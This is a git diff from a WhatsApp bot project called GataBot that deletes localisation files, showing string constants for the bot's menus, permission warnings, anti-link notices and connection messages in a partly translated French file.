-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*LOS COMANDOS 🔞 ESTÁN DESACTIVADOS, SI USTED ES MI CREADOR(A) USE #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `No tiene suficiente `}
-const smsList2 = () => { return `\nPresione aquí para comprar `}
-const smsList3 = () => { return `Contenido disponible 😸`}
-const smsList4 = () => { return `Contenido no disponible 😿\nPresione aquí para comprar `}
-const smsList5 = () => { return `*Seleccione una opción*\n*de la lista para ver el*\n*contenido* 😋`}
-const smsList6 = () => { return `👀 VER LISTA 👀`}
-
-//descargas-consejos.js
-const smsConj = () => { return `🍃 NUEVO CONSEJO`}
-const smsFras = () => { return `🍃 NUEVA FRASE`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' Soy ' + packname + ' un Bot de WhatsApp dedicado en ayudar con lo que me pidas 😎'}
-const smsContacto2 = () => { return 'Soy Owner de ' + packname + ' sí tienes alguna duda me la puedes decir ✌️'}
-const smsContacto3 = () => { return '👑 Owner'}
-const smsContacto4 = () => { return 'Contacto Oficial de GataBot 🐈'}
-const smsContacto5 = () => { return '🐣 ¿Le puedo ayudar en algo?'}
-const smsContacto6 = () => { return 'No tengo correo 🙏'}
-const smsContacto7 = () => { return '🌎 Global'}
-const smsContacto8 = () => { return 'Esta Cuenta es Bot 👀'}
-
-
-export default { lenguaje, smsConexioncerrar, smsConexionperdida, smsConexionreem, smsConexionreinicio, smsConexiontiem, smsConexiondescon, smsAvisoRG, smsJoin, smsJoin1, smsJoin2, smsPropban1, smsPropban2, smsPropban3, smsPropban4, smsPropban5, smsPropban6, smsPropban7, smsLisA, smsLisB, smsLisC, smsLisD, smsLisE, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8, smsMainBot, smsIniJadi2, smsreenvia, smsJBConexionClose2}
diff --git a/lib/idiomas/frances.js b/lib/idiomas/frances.js
deleted file mode 100644
index 1260d89b1..000000000
--- a/lib/idiomas/frances.js
+++ /dev/null
@@ -1,574 +0,0 @@
-const lenguaje = () => { return 'fr' } //Français
-
-//ALERTES MESSAGES
-const smsAvisoRG = () => { return `╰⊱✅⊱ *RÉSULTAT* ⊱✅⊱╮\n\n` }
-const smsAvisoAG = () => { return `╰⊱⚠️⊱ *AVERTISSEMENT* ⊱⚠️⊱╮\n\n` }
-const smsAvisoIIG = () => { return `╰⊱❕⊱ *INFORMATION* ⊱❕⊱╮\n\n` }
-const smsAvisoFG = () => { return `╰⊱❌⊱ *ERREUR* ⊱❌⊱╮\n\n` }
-const smsAvisoMG = () => { return `╰⊱❗️⊱ *ACTION MAUVAISE* ⊱❗️⊱╮\n\n` }
-const smsAvisoEEG = () => { return `╰⊱📩⊱ *RAPPORT* ⊱📩⊱╮\n\n` }
-const smsAvisoEG = () => { return `╰⊱💚⊱ *SUCCÈS* ⊱💚⊱╮\n\n` }
-
-//PARAMETRES DANS LES COMMANDES
-const smsRowner = () => { return `\`\`\`¡¡CETTE COMMANDE NE PEUT ÊTRE UTILISÉE QUE PAR MOI EN TANT QUE CRÉATEUR DE BOT!!\`\`\`` }//NUMÉRO DE BOT
-const smsOwner = () => { return `\`\`\`¡¡CETTE COMMANDE SEUL MON CRÉATEUR PEUT L\UTILISER!!\`\`\`` }//OWNER
-const smsMods = () => { return `\`\`\`¡¡CETTE COMMANDE SEULS LES MODÉRATEURS ET MON CRÉATEUR PEUVENT L'UTILISER!!\`\`\`\`` }//MODÉRATEURS
-const smsPremium = () => { return `\`\`\`¡¡CETTE COMMANDE EST UNIQUEMENT DISPONIBLE POUR LES UTILISATEURS PREMIUM ET MON CRÉATEUR(A) !! POUR OBTENIR PREMIUM ACHETEZ UN PASS EN UTILISANT #pass premium\`\`\`` }//UTILISATEURS PREMIUM
-const smsGroup = () => { return `\`\`\`¡¡CETTE COMMANDE NE PEUT ÊTRE UTILISÉE QUE DANS LES GROUPES!!\`\`\`` }//PARA GRUPOS
-const smsPrivate = () => { return `\`\`\`¡¡CETTE COMMANDE NE PEUT ÊTRE UTILISÉE QUE PAR LE PRIVÉ!!\`\`\`` }//AL PRIVADO
-const smsAdmin = () => { return `\`\`\`¡¡ESTE COMANDO SÓLO ES PARA ADMINS!!\`\`\`` }//ADMINS
-const smsBotAdmin = () => { return `\`\`\`¡¡J\'AI BESOIN D\'ÊTRE ADMIN POUR QUE VOUS POUVEZ UTILISER CETTE COMMANDE!!\`\`\`` }//BOT CON ADMIN
-const smsUnreg = () => { return `\`\`\`¡¡VOUS DEVEZ ÊTRE ENREGISTRÉ POUR UTILISER CETTE COMMANDE, ÉCRIVEZ #verify POUR VOUS INSCRIRE!!\`\`\`` }//VÉRIFIER
-const smsRestrict = () => { return `\`\`\`¡¡CETTE COMMANDE EST RESTREINTE PAR MON CRÉATEUR!!\`\`\`` }//COMMANDE RESTREINTE
-
-//MENU LISTA
-const smsTime = () => { return `Heure actuelle`}
-const smsUptime = () => { return `Courir pendant`}
-const smsVersion = () => { return `Version de ${global.packname}`}
-const smsTotalUsers = () => { return `Nombre total d'utilisateurs`}
-const smsMode = () => { return `Il est en mode`}
-const smsModePublic = () => { return `PUBLIQUE`}
-const smsModePrivate = () => { return `PRIVÉ`}
-const smsBanChats = () => { return `Chat(x) interdit(s)`}
-const smsBanUsers = () => { return `Utilisateur(s) banni(s)`}
-const smsPareja = () => { return `Couple`}
-const smsResultPareja = () => { return `N'a pas de partenaire`}
-const smsSaludo = () => { return `👋 !SALUT! BIENVENUE À) 👋`}
-const smsDia = () => { return `🌇 Bonjour ⛅`}
-const smsTarde = () => { return `🏙️ Bonsoir 🌤️`}
-const smsTarde2 = () => { return `🌆 Bonsoir 🌥️`}
-const smsNoche = () => { return `🌃 Bonne nuit 💫`}
-const smsListaMenu = () => { return `⊹ LISTE DES MENUS ⊹`}
-const smsLista1 = () => { return `🌟 INFORMATIONS GATABOT 🌟`}
-const smsLista2 = () => { return `💖 CRÉATEUR 💖`}
-const smsLista3 = () => { return `🎁 DONNER 🎁`}
-const smsLista4 = () => { return `🚀 VITESSE 🚀`}
-const smsLista5 = () => { return `💡 INFORMATIONS SUR LES MENUS 💡`}
-const smsLista6 = () => { return `🌀 MENU ENTIER 🌀`}
-const smsLista7 = () => { return `🐈 INSTALLER GATABOT 🐈`}
-const smsLista8 = () => { return `🍄 SOYEZ UN SOUS-BOT 🍄`}
-const smsLista9 = () => { return `📄 TERMES, CONDITIONS ET CONFIDENTIALITÉ 📄`}
-const smsLista10 = () => { return `🌟 AVENTURE 🌟`}
-const smsLista11 = () => { return `🏆 TOP MONDIAL 🏆`}
-const smsLista12 = () => { return `🏅 UTILISATEURS PREMIUM 🏅`}
-const smsLista13 = () => { return `🎟️ ÊTRE UN UTILISATEUR PREMIUM 🎟️`}
-const smsLista14 = () => { return `🛣️ MISSIONS QUOTIDIENNES 🛣️`}
-const smsLista15 = () => { return `⚗️ MENU RPG ⚗️`}
-const smsLista16 = () => { return `🏪 MAGASIN D'ACHAT ET DE VENTE 🏪`}
-const smsLista17 = () => { return `🎒 INVENTAIRE 🎒`}
-const smsLista18 = () => { return `🌟 MULTIMÉDIA 🌟`}
-const smsLista19 = () => { return `📲 MENU TÉLÉCHARGEMENTS 📲`}
-const smsLista20 = () => { return `🔍 MENU DE RECHERCHE 🔍`}
-const smsLista21 = () => { return `🛰️ MENU DU CONVERTISSEUR 🛰️`}
-const smsLista22 = () => { return `🧰 MENU MODIFICATEUR AUDIO 🧰`}
-const smsLista22_1 = () => { return `🔩 MENU OUTILS 🔩`}
-const smsLista23 = () => { return `🌟 AMUSANT 🌟`}
-const smsLista24 = () => { return `🎡 JEUX DYNAMIQUES 🎡`}
-const smsLista25 = () => { return `🔊 MENU AUDIO 🔊`}
-const smsLista26 = () => { return `🎈 MENU AUTOCOLLANTS ET FILTRES 🎈`}
-const smsLista27 = () => { return `✨ MENU EFFETS ET LOGOS ✨`}
-const smsLista28 = () => { return `🌅 LOGOSMENU 2 🌅`}
-const smsLista29 = () => { return `⛩️ MEMES ALÉATOIRES : ANIME ⛩️`}
-const smsLista30 = () => { return `🔞 MENU COMMANDE +18 🔞`}
-const smsLista31 = () => { return `🌟 PARAMÈTRES 🌟`}
-const smsLista32 = () => { return `🔰 MENU POUR LES GROUPES 🔰`}
-const smsLista33 = () => { return `📑 LISTES DISPONIBLES 📑`}
-const smsLista34 = () => { return `⚙️ CENTRE DE CONFIGURATION ⚙️`}
-const smsLista35 = () => { return `💎 MENU DU PROPRIÉTAIRE 💎`}
-
-//main.js
-const smsWelcome = () => { return `*╭┈⊰* @subject *⊰┈ ✦*\n*┊✨ BIENVENUE À)!!*\n┊💖 @user\n┊📄 *LIRE LA DESCRIPTION DU GROUPE*\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ ✦*\n${String.fromCharCode(8206).repeat(850)}\n@desc`}
-const smsBye = () => { return '*╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*\n┊ @user\n┊ *LE GROUPE NE SAIT PAS, BYE!!* 😎\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*'}
-const smsSpromote = () => { return '*@user 𝙄𝙇 𝙀𝙎𝙏 𝙈𝘼𝙄𝙉𝙏𝙀𝙉𝘼𝙉𝙏 𝘼𝘿𝙈𝙄𝙉 𝘿𝘼𝙉𝙎 𝘾𝙀 𝙂𝙍𝙊𝙐𝙋𝙀!!*'}
-const smsSdemote = () => { return '*@user 𝘼𝙍𝙍𝙀̂𝙏𝙀𝙕 𝘿\𝙀̂𝙏𝙍𝙀 𝘼𝘿𝙈𝙄𝙉𝙄𝙎𝙏𝙍𝘼𝙏𝙀𝙐𝙍 𝘿𝘼𝙉𝙎 𝘾𝙀 𝙂𝙍𝙊𝙐𝙋𝙀!!*'}
-const smsSdesc = () => { return '*𝙇𝘼 𝙉𝙊𝙐𝙑𝙀𝙇𝙇𝙀 𝘿𝙀𝙎𝘾𝙍𝙄𝙋𝙏𝙄𝙊𝙉 𝘿𝙐 𝙂𝙍𝙊𝙐𝙋𝙀 𝙀𝙎𝙏:*\n\n@desc'}
-const smsSsubject = () => { return '*𝙇𝙀 𝙉𝙊𝙐𝙑𝙀𝘼𝙐 𝙉𝙊𝙈 𝘿𝙐 𝙂𝙍𝙊𝙐𝙋𝙀 𝙀𝙎𝙏:*\n\n@subject'}
-const smsSicon = () => { return '*𝙇𝘼 𝙋𝙃𝙊𝙏𝙊 𝘿𝙀 𝙂𝙍𝙊𝙐𝙋𝙀 𝘼 𝙀́𝙏𝙀́ 𝙈𝙊𝘿𝙄𝙁𝙄𝙀́𝙀!!*'}
-const smsSrevoke = () => { return '*𝙈𝘼𝙄𝙉𝙏𝙀𝙉𝘼𝙉𝙏 𝘾\'𝙀𝙎𝙏 𝙇𝙀 𝙉𝙊𝙐𝙑𝙀𝘼𝙐 𝙇𝙄𝙀𝙉 𝘿𝙀 𝙂𝙍𝙊𝙐𝙋𝙀!!*\n\n*@revoke*'}
-const smsConexion = () => { return `\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦🟢 𝘾𝙊𝙉𝙉𝙀𝙓𝙄𝙊𝙉 ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠\n│\n│★ 𝘾𝙊𝙉𝙉𝙀𝙓𝙄𝙊𝙉 𝙍𝙀́𝙐𝙎𝙎𝙄𝙀 𝘼𝙑𝙀𝘾 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 😺\n│\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ ✅ ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠`}
-const smsCargando = () => { return `✨ MISE EN CHARGE...\n`}
-const smsCodigoQR = () => { return `\n✅ SCANNEZ LE CODE QR EXPIRE DANS 45 SECONDES ✅`}
-const smsConexionOFF = () => { return `\n⚠️ AUCUNE CONNEXION, SUPPRIMER LE DOSSIER ${global.authFile} ET SCANNEZ LE QR CODE ⚠️`}
-const smsClearTmp = () => { return `\n╭» 🟢 MULTIMÉDIA 🟢\n│☁ FICHIERS DU DOSSIER TMP SUPPRIMÉS\n╰―――――――――――――――――――✤`}
-const smspurgeSession = () => { return `\n╭» 🔵 ${global.authFile} 🔵\n│☁ SÉANCES NON ESSENTIELLES SUPPRIMÉES\n╰―――――――――――――――――――✤`}
-const smspurgeOldFiles = () => { return `\n╭» 🟠 ARCHIVOS 🟠\n│☁ FICHIERS RÉSIDUELS SUPPRIMÉS\n╰―――――――――――――――――――✤`}
-const smspurgeSessionSB1 = () => { return `\n╭» 🟡 GataJadiBot 🟡\n│☁ RIEN A SUPPRIMER \n╰―――――――――――――――――――✤`}
-const smspurgeSessionSB2 = () => { return `\n╭» ⚪ GataJadiBot ⚪\n│☁ FICHIERS NON ESSENTIELS SUPPRIMÉS\n╰―――――――――――――――――――✤`}
-const smspurgeSessionSB3 = () => { return `\n╭» 🔴 GataJadiBot 🔴\n│☁ UNE ERREUR S'EST PRODUITE\n╰―――――――――――――――――――✤\n`}
-const smspurgeOldFiles1 = () => { return `\n╭» 🟣 ARCHIVE 🟣\n│☁`}
-const smspurgeOldFiles2 = () => { return `SUPPRIMER AVEC SUCCÈS\n╰―――――――――――――――――――✤`}
-const smspurgeOldFiles3 = () => { return `\n╭» 🔴 ARCHIVE 🔴\n│☁`}
-const smspurgeOldFiles4 = () => { return `ÉCHEC DE LA SUPPRESSION\n╰―――――――――――――――――――✤\n`}
-
-//_allantilink.js
-const smsTextoYT = () => { return '😻 𝗦𝘂𝗽𝗲𝗿 𝗚𝗮𝘁𝗮𝗕𝗼𝘁-𝗠𝗗 - 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 '}
-const smsApagar = () => { return '❌ DÉSACTIVER'}
-const smsEncender = () => { return '✅ ACTIVER'}
-const smsEnlaceTik = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙄𝙆𝙏𝙊𝙆 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceYt = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙔𝙊𝙐 𝙏𝙐𝘽𝙀 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceTel = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙀𝙇𝙀𝙂𝙍𝘼𝙈 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceFb = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceIg = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceTw = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙒𝙄𝙏𝙏𝙀𝙍 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsAllAdmin = () => { return `𝘿𝙀𝘽𝙊 𝘿𝙀 𝙎𝙀𝙍 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍 𝘼 𝙄𝙉𝙏𝙍𝙐𝙎𝙊𝙎(𝘼𝙎)`}
-const smsSoloOwner = () => { return `𝙀𝙇/𝙇𝘼 𝙋𝙍𝙊𝙋𝙄𝙀𝙏𝘼𝙍𝙄𝙊(𝘼) 𝘿𝙀𝘽𝙀 𝘼𝘾𝙏𝙄𝙑𝘼𝙍 𝙀𝙎𝙏𝘼 𝙁𝙐𝙉𝘾𝙄𝙊𝙉\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*🔴 𝗖𝗢𝗠𝗔𝗡𝗗𝗢 𝗙𝗔𝗟𝗟𝗔𝗡𝗗𝗢 🔴*`}
-const smsCont2 = () => { return `*⚠️ 𝗣𝗟𝗨𝗚𝗜𝗡:*`}
-const smsCont3 = () => { return `*⚠️ 𝗨𝗦𝗨𝗔𝗥𝗜𝗢:*`}
-const smsCont4 = () => { return `*⚠️ 𝗖𝗢𝗠𝗔𝗡𝗗𝗢:*`}
-const smsCont5 = () => { return `*⚠️ 𝗘𝗥𝗥𝗢𝗥:*`}
-const smsCont6 = () => { return `*❗ 𝗥𝗘𝗣𝗢𝗥𝗧𝗘 𝗘𝗦𝗧𝗘 𝗠𝗘𝗡𝗦𝗔𝗝𝗘 𝗨𝗦𝗔𝗡𝗗𝗢 𝗘𝗟 𝗖𝗢𝗠𝗔𝗡𝗗𝗢 #reporte 𝗣𝗔𝗥𝗔 𝗦𝗢𝗟𝗨𝗖𝗜𝗢𝗡𝗔𝗥𝗟𝗢*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*NO TIENE DIAMANTES!! 💎 PUEDE IR A LA TIENDA CON EL COMANDO*`}
-const smsCont8 = () => { return ` *DIAMASTE(S) 💎 USADO(S)*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*NECESITA EL NIVEL ➡️*`}
-const smsCont10 = () => { return `*PARA USAR ESTE COMANDO. TÚ NIVEL ACTUAL ES ➡️*`}
-const smsCont11 = () => { return `*ACTUALIZA CON EL COMANDO*`}
-const smsCont12 = () => { return `UN GRUPO GENIAL!! 😼`}
-const smsCont13 = () => { return `ALGUIEN SE UNIÓ !! 🥳`}
-const smsCont14 = () => { return `ALGUIEN SE FUE!! 🧐`}
-const smsCont15 = () => { return `𝙃𝙊𝙇𝘼`}
-const smsCont16 = () => { return `𝙇𝘼𝙎 𝙑𝙄𝘿𝙀𝙊𝙇𝙇𝘼𝙈𝘼𝘿𝘼𝙎 📲`}
-const smsCont17 = () => { return `𝙇𝘼𝙎 𝙇𝙇𝘼𝙈𝘼𝘿𝘼𝙎 📞`}
-const smsCont18 = () => { return `𝙉𝙊 𝙀𝙎𝙏𝘼𝙉 𝘼𝙐𝙏𝙊𝙍𝙄𝙕𝘼𝘿𝘼𝙎 𝙋𝙊𝙍 𝙇𝙊 𝙌𝙐𝙀 𝙏𝙀𝙉𝘿𝙍𝙀 𝙌𝙐𝙀 𝘽𝙇𝙊𝙌𝙐𝙀𝘼𝙍𝙏𝙀\n\n𝙎𝙄 𝙇𝙇𝘼𝙈𝘼𝙎𝙏𝙀 𝙋𝙊𝙍 𝘼𝘾𝘾𝙄𝘿𝙀𝙉𝙏𝙀 𝘾𝙊𝙈𝙐𝙉𝙄𝘾𝘼𝙏𝙀 𝘾𝙊𝙉 𝙇𝘼 𝙋𝙀𝙍𝙎𝙊𝙉𝘼 𝙋𝙍𝙊𝙋𝙄𝙀𝙏𝘼𝙍𝙄𝙊/𝘼 𝘿𝙀 𝙀𝙎𝙏𝙀 𝘽𝙊𝙏\n𝙎𝙄 𝙀𝙎 𝙐𝙉𝘼 𝘾𝙐𝙀𝙉𝙏𝘼 𝙊𝙁𝙄𝘾𝙄𝘼𝙇 𝘿𝙀 𝙂𝘼𝙏𝘼𝘽𝙊𝙏 𝘿𝙄𝙍𝙄𝙂𝙀𝙏𝙀 𝘼 𝙇𝘼 𝘼𝙎𝙄𝙎𝙏𝙀𝙉𝘾𝙄𝘼 𝙋𝙊𝙍 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙋𝘼𝙍𝘼 𝙏𝙍𝘼𝙏𝘼𝙍 𝙎𝙐 𝘾𝘼𝙎𝙊\n*${global.ig}*`}
-const smsCont19 = () => { return `𝘼𝙉𝙏𝙄 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍`}
-const smsCont20 = () => { return `*┃✤ Nombre:*`}
-const smsCont21 = () => { return `*┃✤ Enviando el mensaje eliminado...*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `𝙀𝙎𝙏𝙀 𝙉𝙐𝙈𝙀𝙍𝙊`}
-const smsInt2 = () => { return `𝙉𝙊 𝙀𝙎𝙏𝘼 𝙋𝙀𝙍𝙈𝙄𝙏𝙄𝘿𝙊 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊!!`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}𝘾𝙊𝙈𝙊 𝙀𝙍𝙀𝙎 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝙉𝙊 𝙎𝙀𝙍𝘼𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝙊(𝘼)`}
